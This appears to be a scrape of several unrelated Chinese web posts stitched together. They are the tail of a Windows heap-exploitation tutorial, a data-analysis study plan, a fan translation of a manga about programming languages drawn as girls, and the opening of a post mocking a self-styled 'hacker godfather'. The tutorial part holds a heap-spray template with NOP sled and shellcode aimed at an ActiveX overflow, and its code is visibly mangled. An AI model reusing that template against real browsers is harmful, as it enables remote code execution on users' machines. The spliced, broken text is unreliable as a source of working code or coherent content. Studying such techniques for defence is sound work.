+0x018 ProcessHeap
: Ptr32 Void
+0x01c FastPebLock
: Ptr32 _RTL_CRITICAL_SECTION
//根据此指针来间接进入临界区
+0x020 FastPebLockRoutine : Ptr32 Void
+0x024 FastPebUnlockRoutine : Ptr32 Void
+0x028 EnvironmentUpdateCount : Uint4B
&/code&&/pre&&/div&&br&&p&但在WinXP SP2之后微软就加入了PEB random保护,不再使用固定的PEB基址,而使用具有一定随机性的PEB基址,以提高利用的难度。&br&&/p&&p&四、Heap Spary&/p&&p&
Heap Spary技术最早是由SkyLined于2004年为IE的iframe漏洞写的exploit而使用到新技术,目前主要作为浏览器攻击的经典方法,被大量网马所使用。Heap Spary技术是使用js分配内存,所分配的内存均放入堆中,然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,因此只要让IE执行到0x0C0C0C0C(有时也会用0x0D0D0D0D这一地址)就可以执行shellcode,这些堆块可以用NOP + shellcode 来填充,每块堆构造1M大小即可,当然这也不是固定。这样当nop区域命中0x0c0c0c0c时,就可执行在其后面的shellcode。下面是一个简单模板:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&&html&
&object classid=&clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB& id=&target&&&/object&
Var shellcode=&\u68fc\u\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857&;
var nop=&\u&;
while (nop.length &= 0x)
nop = nop.substring(0,0x-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i&200; i++)
slide[i] = nop +
var s= '';
while (s.length & 748)
s+=&\x0c&;
target.Overflow(s);
&/code&&/pre&&/div&&br&&p&五、Bitmap Flipping Attack&/p&&p&
在 Heap Management 结构中包含有Freelist Bitmap标志位,它是一个4字节的DWORD值,当对应的FreeList[n]被填充时,bitmap就将被设置。当请求分配堆块时,它会先搜索与之大小合适的FreeList[n],然后检测对应的bitmap,若上面为0就表示上面是块未使用的空闲块,则对应的FreeList[n]将用于分配配块,接着返回到对应的请求块FreeList[n]指向的地址。因此如果我们可以控制Bitmap,并能够覆盖freelist[n]中的值,那么我们就可以通过它来执行任意代码。&/p&&p&六、Heap Cache Attack&/p&&p&
Heap Cache主要用于降低频繁遍历FreeList[0]的性能消耗,以提高性能。它主要是为FreeList[0]中的堆块创建扩展索引,更重要的是,Heap Manager并没有将任何空闲块移动缓存中,这些空闲块一直保存在FreeList[0]中,但缓存中保存着一些指针,它们指向FreeList[0]中的某些节点,以此来提升访问FreeList[0]的速度。堆缓存是一个bucket数组,每一个bucket包含有intptr_t字节用于存储大小,还有一个NULL指针或者FreeList[0]上的堆块指针。默认情况下,数组包括有896个bucket,其大小在之间,但大小是可配置的,我们可指定最大的缓存索引号。在堆缓存攻击技术中又存在各种利用方式,比如De-synchronization Attack(通过覆写堆块头信息中的大小域,使每次请求同等大小堆块时都指向同一块已经使用的内存块,如果攻击者可能控制这一内存块中的内容,就有可能导致任意代码执行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……这些方法有很大的局限性,在实际运用上很难派上用场,若想获取更多关于这方面的信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。&/p&&p&七、Bitmap XOR Attack&/p&&p&
Bitmap XOR Attack 是通过异或操作来更改 freelist bitmap,如果系统尝试清除这一错误的标志位,那么就可能从一个空闲位(free bit)切换到设置位(set bit),进而实现类似上文提到的bitmap attack。这个可以通过篡改堆块头信息中的大小域(CurSize),使其小于0x80,接着再使对应堆块中的前向指向与后向指针相等(flink == blink),并保证其指向的地址是可读的。更多信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。后面这几种方法实际利用价值不大,权当了解,学习思路更为重要。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&原文出自公众号elknot_cyber
&/code&&/pre&&/div&
Windows下的堆栈溢出攻击和*nix下的,原理基本相同。但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。另外,windows的版本也导致了windows下的exploit…
&img src=&/v2-701dd1c653d4bafafc2dcb_b.jpg& data-rawwidth=&1280& data-rawheight=&960& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-701dd1c653d4bafafc2dcb_r.jpg&&&h2&&b&为什么要学习数据分析?&/b&&/h2&&p&原因有二,一是喜欢,二是看好。&/p&&p&不解释。&br&&/p&&h2&&b&零基础?&/b&&/h2&&p&没错,零基础。&/p&&p&15届通信工程大学毕业生。&/p&&p&工作后不涉及数据,唯一会的并与数据分析相关的,就是Excel,而且对Excel的掌握,仅限于常用函数,不会数组不会VBA。&/p&&p&也没有编程的基础,大一学习的C语言早就还给小学老师了。&/p&&h2&&b&学习计划?&/b&&/h2&&p&本次的学习计划主要分为三个部分。&/p&&p&第一部分圈定学习范围;&/p&&p&第二部分准备学习方法;&/p&&p&第三部分确定实施计划。&/p&&p&&b&一、学习范围&/b&&br&&/p&&p&如下图所示,字面意思,不多说。&/p&&p&(在此特别感谢&a href=&/people/c9b28ce4b50bf224cb06f& data-hash=&c9b28ce4b50bf224cb06f& class=&member_mention& data-editable=&true& data-title=&@猴子& data-hovercard=&p$b$c9b28ce4b50bf224cb06f&&@猴子&/a& ,以下的范围基本上都来自于他的live如何零基础从事数据分析https://&a href=&/lives/176320& class=&internal&&知乎 Live - 全新的实时问答&/a&)&/p&&p&&img src=&/v2-fc696bf8a668_b.png& data-rawwidth=&366& data-rawheight=&161& class=&content_image& width=&366&&&br&&b&二、学习方法&/b&&/p&&p&再次放图,根据自己的经验以及他人的建议,总结五大方法,如下:&/p&&img src=&/v2-d940cfd06cac815decb30e80b7ced02e_b.png& data-rawwidth=&644& data-rawheight=&397& class=&origin_image zh-lightbox-thumb& width=&644& data-original=&/v2-d940cfd06cac815decb30e80b7ced02e_r.png&&&br&&p&&b&1. 每日学习:&/b&&/p&&p&“有一就有二”,不知道这句话是哪位圣人所说,绝对的真理。&/p&&p&偷懒或者说不学习这种事情,也必然是“有一就有二”的,所以想要自己不中途放弃,那么最好的办法,就是连“一”都没有,所以不管有什么事情发生,也不管在什么样的环境下,一定要保持每天都在学习,哪怕只学习了十分钟。&/p&&p&不论什么样的环境,不管身边有没有电脑、书本或者kindle,只要有手机,那就可以哪怕重听一次猴子的live,况且自己的微信、知乎中,已经存了许多关于数据分析的文章了,所以只要有手机,那么就不存在当天不学习的理由。(至于没手机的话?不较真的说,不考虑极小概率事件)&/p&&p&&b&2. 定期输出&/b&&/p&&p&“输出倒逼输入”,这句话听许多人说过,个人也比较认同,不过自己并没有怎么实践过,这一次就顺便也试试这句话的含金量。相信会有好结果。&/p&&p&&b&3. 提高成本&/b&&/p&&p&提高成本看似并不是一件好事,但是就个人二十几年短暂的人生经验来讲,当明确坚定要做某件事情的时候,那么提高做这件事&b&已经付出的成本&/b&,就意味着提高了中途放弃的成本。&/p&&p&举个例子,两个同样想要学习数据分析的人,一个一分钱没花,一个已经花了学费,书本费,入群费等各项费用,大家认为,在其他情况条件相同的情况下,谁会坚持学习的更久呢?&/p&&p&而且,成本不止是金钱,还有更加重要的时间成本,成本投入越多,越舍不得放弃。&/p&&p&所以,在喜欢且看好数据分析的前提下,我会不断往学习数据分析这条路上投入成本,不计血本。(好像也花不了多少钱,尴尬。)&/p&&p&&b&4. 减小困难&/b&&/p&&p&与第三点相同,减小困难,是为了降低中途放弃的可能性。&/p&&p&我是个彻头彻尾的悲观主义者,凡事往坏了想,包括对于自己的毅力,我也是完全不相信的,很担心自己会中途放弃学习。&/p&&p&所以,就要在我学习的过程中,降低中途放弃的可能性。&/p&&p&很多时候,放弃无非是阻力大过了动力。&/p&&p&那么,就要尽量的减小阻力,增加动力。&/p&&p&而减小阻力的方式,就是减小在学习中遇见的困难,或者更准确的说,是&b&减少遇见困难时给内心带来的挫败感。&/b&&/p&&p&无论你喜或不喜,困难就摆在那里,不增不减。&/p&&p&困难是没办法减小的,但是困难所带来的挫败感,是完全可以减少的。&/p&&p&困难分为两种,一种是可以解决的,一种是不可解决的。&/p&&p&可以解决的困难,带来的挫败感很少,甚至被解决之后,可以带来成就感。&/p&&p&不可解决的困难,才是挫败感真正最大的源头。&/p&&p&所以,减少挫败感,有两个办法。&/p&&p&一是提升自己解决问题的能力,这样不可解决的困难自然就少了;&/p&&p&二是降低不可解决问题带来的挫败感。&/p&&p&不可解决困难索带来的挫折感,源自于结果远低于期待,付出了许多精力去解决它,可最终还是没能成功,而过程中所付出的成本,则增加了解决失败带来的挫败感。&/p&&p&&b&形成一条问题解决的固有路径。&/b&&/p&&p&这是一个既可以提升解决问题能力,又可以减小解决失败的挫折感的有效方法。(这个结论的正确与否,受篇幅所限,不做论证。其实上面已经说了很多废话了。)&/p&&p&(ps:写到一半“困难”变“问题”了,应该是不影响阅读和理解的,我也就懒得改成统一的了。)&/p&&p&而我自己总结的问题解决路径,是遇到问题时,按照以下固定路径解决:&/p&&p&1). 整理出真正的问题所在;(大家都有问别人问题,连问题都还没说完就自己解答了的情况吧,其实在问问题之前先想一下你真正想搞清楚的,会减少虚假问题的)&/p&&p&2). 利用百度、谷歌。(猴子极力推荐谷歌,可是翻墙之后不知何原因,网页浏览极慢,所以还是用百度更多些。)&/p&&p&3). 以上两步都没能解决的话,再问其他人(同事,微信社群等等)。&/p&&p&4). 问人都解决不了了,那就搁置。&/p&&p&以上问题解决路径基本上遵循一个原则:&b&把握问题核心,能自己解决就别张口问人。&/b&&/p&&p&&b&5. 价值引导&/b&&/p&&p&猴子说:“人都是快感型动物”,这句话我深以为然。&/p&&p&但是,我尝试了像诸多社群成员那样,将看一章转换为自己就能赚多少钱,或者成功看一章后就奖励自己些什么之类的方法,最终还是没能成功的完成心理建设。&/p&&p&我承认数据分析学习下来最终会改善我的生活,说直白点就是提高薪资,但是我却从心底里不认为看一章就能赚多少钱。&/p&&p&看完一章的定义实在是不清晰,怎么样才能算是看完一章呢?完全理解透?还是扫过一遍?有考虑过出现自我感觉良好这种错觉的情况吗?半途而废算什么?好吧,我自己较真了,这种方法,失败。&/p&&p&而奖励自己的方式,妹妹的,本来就是我的钱,我实在骗不了自己。(没救了。)&/p&&p&此刻,调用第四点提到的问题解决路径。&/p&&p&第一步我就发现了自己的问题,我的目的不是适配这两个办法,而是根据“人是快感型动物”来刺激自己的快感,实现在学习时不断的加油蓄力。&/p&&p&什么样的方法适合我去在学习中获取的快感呢?&/p&&p&做习题!&/p&&p&做习题!&/p&&p&做习题!&/p&&p&重大发现说三遍!&/p&&p&这段时间在学习SQL的过程中,我前两天在网上找了一些基础练习题来尝试做题,共45题。&/p&&p&在做习题过程中,掌握了自以为掌握实际上却并没有掌握的知识点,发现了自己完全没想过的新方法,发现了习题中值得引申思考的问题等等,这些在做练习题中收获的不同成就感,完全的激发了我在学习上获得的快感,也让我每天都迫不及待等到下班开始学习SQL语言。&/p&&p&做习题可以检测自己对知识的真正掌握水平,做习题也可以带来新的需要解决的问题。通过做习题,我可以感受到自己技术上的成长,这种可感知的成长,也让我逐渐相信,可能,真的学一章,就相当于是赚了多少钱呢?&/p&&p&我决定,每学一段时间后,网上找一些习题做检测,切实&b&感受自己的成长&/b&。对于我来说,这才是真正激发我自己快感的有效途径吧。&/p&&p&三、计划规划&/p&&p&初步设定的学习计划中,将分为三期,如下所示:&/p&&img src=&/v2-cb3b583b94f9a0a01cdb5b_b.png& data-rawwidth=&592& data-rawheight=&228& class=&origin_image zh-lightbox-thumb& width=&592& data-original=&/v2-cb3b583b94f9a0a01cdb5b_r.png&&&p&第一期的详细计划如图所示:&/p&&img src=&/v2-cb6ad95b136ce_b.png& data-rawwidth=&1162& data-rawheight=&353& class=&origin_image zh-lightbox-thumb& width=&1162& data-original=&/v2-cb6ad95b136ce_r.png&&&p&严格按照计划执行,每两周一定要写至少一篇的总结,诸君共勉。&/p&
为什么要学习数据分析?原因有二,一是喜欢,二是看好。不解释。 零基础?没错,零基础。15届通信工程大学毕业生。工作后不涉及数据,唯一会的并与数据分析相关的,就是Excel,而且对Excel的掌握,仅限于常用函数,不会数组不会VBA。也没有编程的基础,大一…
&p&多图预警!&/p&&p&=======================&/p&&p&&b&17-05-19 终于获得了原作者的授权。&/b&&/p&&br&&img src=&/v2-c01f64bd37a6a48d0ea6bff503e5449f_b.png& data-rawwidth=&630& data-rawheight=&326& class=&origin_image zh-lightbox-thumb& width=&630& data-original=&/v2-c01f64bd37a6a48d0ea6bff503e5449f_r.png&&&br&&p&16-12-11 期末了,翻译暂停。建议有能力的到原网站支持一下。&/p&&p&16-12-07 更新了第5回,第6回,第7回。番外1是关于Lisp酱设定的,改图的工作量有点大暂时做不完。&/p&&p&16-12-06 更新了详细的人设。第6、第7回已经改图完毕,等番外1和第5回改图完成后会一并发上来。请留意…&/p&&p&16-12-05 一下子就破千赞了有点不知所措呢……番外1和第5~7话正在加紧翻译中,校对润色完后应该能一起发出来。&/p&&p&16-12-03
更新了第4回。&/p&&img src=&/v2-572eb06f4dde0b9e42d114_b.jpg& data-rawwidth=&640& data-rawheight=&400& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-572eb06f4dde0b9e42d114_r.jpg&&&p&「&b&はしれ!コード学園&/b&」(暂译: &b&来吧!代码学园&/b&)是连载于日本网站&a href=&///?target=https%3A//codeiq.jp/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&CodeIQ&i class=&icon-external&&&/i&&/a&的漫画,讲述了各个编程语言娘之间的日常趣事。
2015年10月正式刊载第一话,并迅速得到了传播。在社交网络Twitter上,仅第一话就获得了2947条的转发量,在Facebook上也收到了1528个赞。很快,漫画的第二话、第三话和第四话也在2015年11月相继上线。[0]截至日,已连载9话+3篇番外,有共计10位编程语言娘登场。
作者千代田まどか(千代田圆香)目前就职于微软担任C#开发和技术布道工作,同时也是个业余漫画家。不论在网上还是在线下,她都称自己为“ちょまど”(罗马音为chomado)。关于她的介绍可以看看这篇:&a href=&///?target=http%3A//www.wpdang.org/archives/164525.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&WPDang || 千代田圆香:写代码是一件很开心的事&i class=&icon-external&&&/i&&/a&。&/p&&p&这部漫画可以在&a href=&///?target=https%3A//codeiq.jp/magazine/category/programminggirls/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【連載】はしれ!コード学園|CodeIQ MAGAZINE&i class=&icon-external&&&/i&&/a&看到。为了方便华语读者,我打算自己翻译一下,欢迎帮忙\勘误。(感谢 &a class=&member_mention& href=&///people/45b35e73b7ec39e86d5f& data-hash=&45b35e73b7ec39e86d5f& data-hovercard=&p$b$45b35e73b7ec39e86d5f&&@影凌霜&/a& 的人设翻译)
此外,除了公开的内容,这部漫画还有一些おまけ(附赠内容)是要答对相应语言的几道题才能看到的。(这里要提一下,实际上CodeIQ也有类似&a href=&///?target=https%3A///dashboard& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Codewars&i class=&icon-external&&&/i&&/a&的功能,里面有很多和代码有关的趣味问题(有要写代码答题的、也有选择题),答对之后会获得相应的奖励,如Skill徽章、成就、壁纸等。)比如第一话是JS登场,那么对应的就是JS的几道题。在网页下面进入相应的「JavaScript初级」测试页面,答题全对之后就能看到附赠内容(一般是一格漫画)。考虑到这个因素,我暂时没翻附赠的内容。
尽管漫画篇幅很短,但还是有不少有趣的捏他。其中YSRKEN(注:曾写过AviUtl版的waifu2x)还总结了非官方设定资料,以及每一话的考据(见&a href=&///?target=https%3A///YSRKEN/Unofficial-RCG-Manual& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&YSRKEN/Unofficial-RCG-Manual&i class=&icon-external&&&/i&&/a&,搜索“解説記事”可以看到到每一篇考据的链接)。我的译注也基本都来自YSRKEN的考据。&/p&&p&&b&非常感谢 &a class=&member_mention& href=&///people/45b35e73b7ec39e86d5f& data-hash=&45b35e73b7ec39e86d5f& data-hovercard=&p$b$45b35e73b7ec39e86d5f&&@影凌霜&/a& 在翻译上提供的帮助!&/b&&/p&&p&================================================================&/p&&p&manga by Madoka Chiyoda (&a href=&///?target=https%3A///chomado& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/chomado&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&) &/p&&p&scenario by セオショージ ( &a href=&///?target=https%3A///theodoorjp& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/theodoorjp&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a& ) &/p&&p&copyright: CodeIQ ( &a href=&///?target=https%3A///codeiq& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/codeiq&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a& ) &/p&&img src=&/v2-03f45ba1c7d6a171c23fd8075aaf4546_b.jpg& data-rawwidth=&300& data-rawheight=&300& class=&content_image& width=&300&&&p&&b&「来吧!代码学园」- 第1回 -「转校生」&/b&&/p&&p&各式各样的编程语言聚集在了「代码学园」。&/p&&p&第一回的故事是JS酱(JavaScript)从东京Node学园转学过来开始的。&/p&&p&与身为学生会长的Java酱名字相似的她在性格和擅长领域又如何呢…!? &/p&&p&by 来吧!代码学园制作组[1]&/p&&img src=&/v2-3b1c4ae92aadea_b.png& data-rawwidth=&640& data-rawheight=&3368& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-3b1c4ae92aadea_r.png&&&p&人物介绍:[人设翻译均由 &a class=&member_mention& href=&///people/45b35e73b7ec39e86d5f& data-hash=&45b35e73b7ec39e86d5f& data-hovercard=&p$b$45b35e73b7ec39e86d5f&&@影凌霜&/a& 提供]&/p&&img src=&/v2-a03bc27c5143bcd057b7af6_b.jpg& data-rawwidth=&150& data-rawheight=&183& class=&content_image& width=&150&&&p&&b&JS酱&/b&
从代码学园隔壁的东京Node学园过来的转校生。乍一看好像有点儒弱的她其实好奇心比别人强一倍。小的时候很少被表扬过,尤其是屡屡被「请禁用JavaScript」的话中伤,尽管如此,最近她勇于挑战各种各样的事情,也渐渐被周围人理解,慢慢地也不怎么在意了。&/p&&img src=&/v2-1cf80cbb1_b.jpg& data-rawwidth=&150& data-rawheight=&184& class=&content_image& width=&150&&&p&&b&Java酱&/b&
编程语言界的优等生。代码学园的学生会长。责任感很强,无论什么事都会专心致志地去做,甚至有一点死心眼…?超级喜欢喝咖啡,在学校一定会带着装满咖啡的水瓶。喜欢一个叫CAFEBABE的咖啡店,有时候在放学回家的路上,你可以在那个店里找到她。虽然不管对自己还是对别人都很严厉,但在平和的时候却很会照顾别人。
[译注:Java的.class文件均以0xCAFEBABE开头]&/p&&img src=&/v2-eff3cf515c918ca11ab0e72d_b.jpg& data-rawwidth=&150& data-rawheight=&187& class=&content_image& width=&150&&&p&&b&C酱&/b&
总坐在教室的最后排,散发着和周围人略微有点不同的奇妙气氛。偶尔会用很久以前的偶像的方式说话,向大家讲述一些谁都不知道的旧闻。天生计算能力高超,并且有一种难以捉摸的神秘气息。感受到了这种神秘的魅力之后,感觉很难离开她的人也是有很多的呢。
-------------------------------------------------------------------------------------------------------------------------------&/p&&img src=&/v2-e377dfced3d9ef69e27b0ae_b.jpg& data-rawwidth=&300& data-rawheight=&300& class=&content_image& width=&300&&&p&&b&「来吧!代码学园」- 第2回 -「选课」&/b&&/p&&p&「代码学园」第2回,Ruby酱、Swift酱首次登场!&/p&&p&「代码学园」在新学期开始时要让学员们选择课程。擅长领域各不相同的编程语言娘们会怎么选课呢——!? &/p&&p&by 来吧!代码学园制作组[2]&/p&&img src=&/v2-ce97d35b55f52dcb2472701_b.png& data-rawwidth=&640& data-rawheight=&3878& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-ce97d35b55f52dcb2472701_r.png&&&p&人物介绍:&/p&&img src=&/v2-3a521b149f5ccb30c2cb253eda0c5f66_b.jpg& data-rawwidth=&149& data-rawheight=&190& class=&content_image& width=&149&&&p&&b&Ruby酱&/b&
岛根县出身,虽然强行装做大小姐的样子,但是实际上是个很活泼有朝气的孩子。由于有着积极的态度和阳光的心态,因此有一种能够给周围人带去活力的能力。不断向前,挑战新鲜事物的同时,也能够照顾周围人的心情。在进入代码学院之后,没有想过要变得沉着稳重一点,而是一直保持着充满活力和向上的状态。&/p&&img src=&/v2-b411d2f9d3e4f725daecb5d_b.jpg& data-rawwidth=&150& data-rawheight=&190& class=&content_image& width=&150&&&p&&b&Swift酱&/b&
由于家里是搞苹果农园的,所以经常吃送来的苹果。理性思考的同时也很中意美丽的事物,为了这一点不惜付出一切努力。只会做自己感兴趣的事情,对于感兴趣的事情会禁欲似地不断深入思考进行探究。而且,意外地会对周围的事物一直进行冷静地观察。和Objective-C是姐妹。
-------------------------------------------------------------------------------------------------------------------------------&/p&&img src=&/v2-a5d488fa31fdf22f335d_b.jpg& data-rawwidth=&300& data-rawheight=&300& class=&content_image& width=&300&&&p&&b&「来吧!代码学园」- 第3回 -「运动会」&/b&&/p&&p&Java酱、Ruby酱、C酱、Swift酱、JavaScript酱在接力赛中竞速。&/p&&p&究竟谁才是赢家——!?&/p&&p&by 来吧!代码学园制作组[3]&/p&&img src=&/v2-55acfdb7d2f4d_b.png& data-rawwidth=&640& data-rawheight=&5990& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-55acfdb7d2f4d_r.png&&&br&&p&-------------------------------------------------------------------------------------------------------------------------------&/p&&img src=&/v2-96f9e7b511e34b55810d4abe6155cfc0_b.png& data-rawwidth=&300& data-rawheight=&300& class=&content_image& width=&300&&&p&&b&「来吧!代码学园」- 第4回 -「烹饪实习」&/b&&/p&&p&「代码学园」第4回的课程是在烹饪实习上做意大利面代码。&/p&&p&用Java酱、Ruby酱、Swift酱、JavaScript酱、C酱各自带来的材料一起制作而成的意大利面代码变成了不得了的东西——!? &/p&&p&by 来吧!代码学园制作组[4]&/p&&img src=&/v2-e715abf2de_b.png& data-rawwidth=&640& data-rawheight=&4366& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-e715abf2de_r.png&&&br&&p&-------------------------------------------------------------------------------------------------------------------------------&/p&&img src=&/v2-bcf4e464687df_b.jpg& data-rawwidth=&300& data-rawheight=&300& class=&content_image& width=&300&&&br&&p&&b&「来吧!代码学园」- 第5回 -「圣诞节」&/b&&/p&&p&大家圣诞节都是怎么度过的呢?&/p&&p&在代码学园中,为了在二十四小时之内向全世界的孩子们送上礼物,圣诞老人Lisp酱大显身手!&/p&&p&敬请期待超物流配送系统背后的故事吧~&/p&&p&by 来吧!代码学园制作组[5]&/p&&img src=&/v2-00c187dd2eedcad05a355_b.png& data-rawwidth=&640& data-rawheight=&7007& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-00c187dd2eedcad05a355_r.png&&&p&人物介绍:&/p&&img src=&/v2-76a741a99a676799cef65eb68ab8e382_b.jpg& data-rawwidth=&150& data-rawheight=&190& class=&content_image& width=&150&&&p&&b&Lisp酱&/b&
通过CodeIQ的投票被选出来的新角色。大概是因为接受着和其他人稍微有些区别的养育方式,很擅长思考出有个性的点子,偶尔会沉浸在自己的妄想中。有很多说着不同方言的亲戚们。并且家里养着谜一样的绿色的宠物…喜欢的编辑器是Emacs。(正在思考的事情(一不注意(就会说出口 很烦恼)))
-------------------------------------------------------------------------------------------------------------------------------&/p&&img src=&/v2-109a06bc43726e0ffef1f_b.jpg& data-rawwidth=&300& data-rawheight=&300& class=&content_image& width=&300&&&br&&p&&b&「来吧!代码学园」- 第6回 -「椅子」&/b&&/p&&p&长时间地编程,腰怎么也会痛的呢。&/p&&p&代码学园的语言娘们,其实也对椅子很有讲究。用什么样的椅子呢?来一起看吧!&/p&&p&by 来吧!代码学园制作组[6]&/p&&img src=&/v2-5b748fc26f4cb4505abc_b.png& data-rawwidth=&640& data-rawheight=&5161& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-5b748fc26f4cb4505abc_r.png&&&br&&br&&p&-------------------------------------------------------------------------------------------------------------------------------&/p&&img src=&/v2-68da9b424a52a9aee5b0_b.jpg& data-rawwidth=&300& data-rawheight=&300& class=&content_image& width=&300&&&p&&b&「来吧!代码学园」- 第7回 -「战斗吧!代码学园」&/b&&/p&&p&那是决出这世上存在的最强语言的编程武斗对决!&/p&&p&双方都释放了最强必杀技,Lisp酱和C酱的超战斗。这异想天开的战斗,出乎意料的结局居然是…!?&/p&&p&by 来吧!代码学园制作组[7]&/p&&img src=&/v2-16d83b6e1e894c74f7a1ed18cf014044_b.png& data-rawwidth=&640& data-rawheight=&7602& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-16d83b6e1e894c74f7a1ed18cf014044_r.png&&&p&人物介绍:&/p&&img src=&/v2-5d0a8d00cee50a235f7b3ed_b.jpg& data-rawwidth=&150& data-rawheight=&174& class=&content_image& width=&150&&&p&&b&C++酱&/b&
在Lisp酱的梦中登场的,C酱超进化之后显现出的人格。由于超高的难易度和战斗力,不断会有人说出「最喜欢的,同时也是最讨厌的是C++酱呢…」这种矛盾的话。现实世界中最新版本也是C++14(从2016年2月开始使用)。变身的时候发饰也会发生变化。口头禅是「Boost装载走起!」。Boost是超有名的(可以说是准标准的)开源库。&/p&&br&&p&(翻译进行中…&b&欢迎帮忙/勘误&/b&)&/p&&p&================================================================&/p&&p&参考:&/p&&p&[0]Brad. &a href=&///?target=http%3A//www.wpdang.org/archives/164525.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&WPDang || 千代田圆香:写代码是一件很开心的事&i class=&icon-external&&&/i&&/a&. .&/p&&p&[1]CodeIQ MAGZINE. &a href=&///?target=https%3A//codeiq.jp/magazine/57/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&東京Node学園からJavaScriptが転校してきた!──はしれ!コード学園【第1回】 | CodeIQ MAGAZINE&i class=&icon-external&&&/i&&/a&. .&/p&&p&[2]CodeIQ MAGZINE. &a href=&///?target=https%3A//codeiq.jp/magazine/56/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Ruby、Java、Swift、JavaScriptの履習届は?──はしれ!コード学園【第2回】|CodeIQ MAGAZINE&i class=&icon-external&&&/i&&/a&. &/p&&p&[3]CodeIQ MAGZINE. &a href=&///?target=https%3A//codeiq.jp/magazine/56/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&秋の運動会!Java?Ruby?C?Swift?JavaScript、優勝したのは誰?──はしれ!コード学園【第3回】|CodeIQ MAGAZINE&i class=&icon-external&&&/i&&/a&. &/p&&p&[4]CodeIQ MAGZINE. &a href=&///?target=https%3A//codeiq.jp/magazine/20/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&本日の調理実習は「スパゲッティコード」です。──はしれ!コード学園【第4回】|CodeIQ MAGAZINE&i class=&icon-external&&&/i&&/a&. &/p&&p&[5]CodeIQ MAGZINE. &a href=&///?target=https%3A//codeiq.jp/magazine/72/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&世界中に届け!Lispサンタの超ロジスティック配送──はしれ!コード学園【第5回】|CodeIQ MAGAZINE&i class=&icon-external&&&/i&&/a&. &/p&&p&[6]CodeIQ MAGZINE. &a href=&///?target=https%3A//codeiq.jp/magazine/35/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&プログラマの職業病、腰痛は椅子で撃退できる?──はしれ!コード学園【第6回】|CodeIQ MAGAZINE&i class=&icon-external&&&/i&&/a&. &/p&&p&[7]CodeIQ MAGZINE.&a href=&///?target=https%3A//codeiq.jp/magazine/97/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&最強言語は誰?プログラミング言語☆天下一武道会──はしれ!コード学園【第7回】|CodeIQ MAGAZINE&i class=&icon-external&&&/i&&/a& .&/p&
多图预警!=======================17-05-19 终于获得了原作者的授权。 16-12-11 期末了,翻译暂停。建议有能力的到原网站支持一下。16-12-07 更新了第5回,第6回,第7回。番外1是关于Lisp酱设定的,改图的工作量有点大暂时做不完。16-12-06 更新了详细的人…
&p&说起这个黑客老鹰万涛,我就呵呵了。正好今天有时间,就八一八所谓的“中国黑客教父”。&/p&&p&&b&利用中美黑客大战成名的万涛,最大本事是“ping白宫网站”&/b&&/p&&p&万涛出名最早是从2001年的中美黑客大战开始,那会儿口号喊得最响的有两个所谓的黑客组织,一个是中国红客联盟,另一个就是万涛组织的中国鹰派。&/p&&p&不可否认中美黑客大战时人们的热情、斗志和爱国情怀,但也有那么一小撮人,趁机扬(gu)名(ming)立(diao)万(yu),借着媒体炒作和包装,从一个刚入门的小菜鸟,摇身一变就成了“黑客教父”。嗯,说的就是万涛。&/p&&p&说明一点,安全圈有两个万涛,一个是@黑客老鹰万涛,一个是@渥村万涛。@渥村万涛还是有真材实料的,下面所说的万涛特指号称“中国黑客教父”的黑客老鹰万涛。&/p&&p&万涛的中国鹰派当时到底做了什么呢?在网上发帖,号召中国网民“ping死白宫网站”,也就是组织人肉ddos攻击。结果白宫网站没ping死,自己的出口带宽先被以万涛为首的这群“鹰派黑客”堵死了。当时中国还要为出口带宽向美国付费,这货究竟算“爱国”还是“卖国”呢。&/p&&p&其实中美黑客大战里也有高手,但比不了“中国鹰派”名头响亮,再经过无知媒体一宣传,万涛“黑客教父”的称号就开始见诸报端了。当然媒体也闹了不少笑话,比如传说中的“dir溢出”(有兴趣的可以围观&a href=&///?target=http%3A//lcx.cc/%3Fi%3D396& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Dir 溢出的红客大侠 SharpWinner,小心我DIR溢出你!_Nuclear'Atk 网络安全研究中心&i 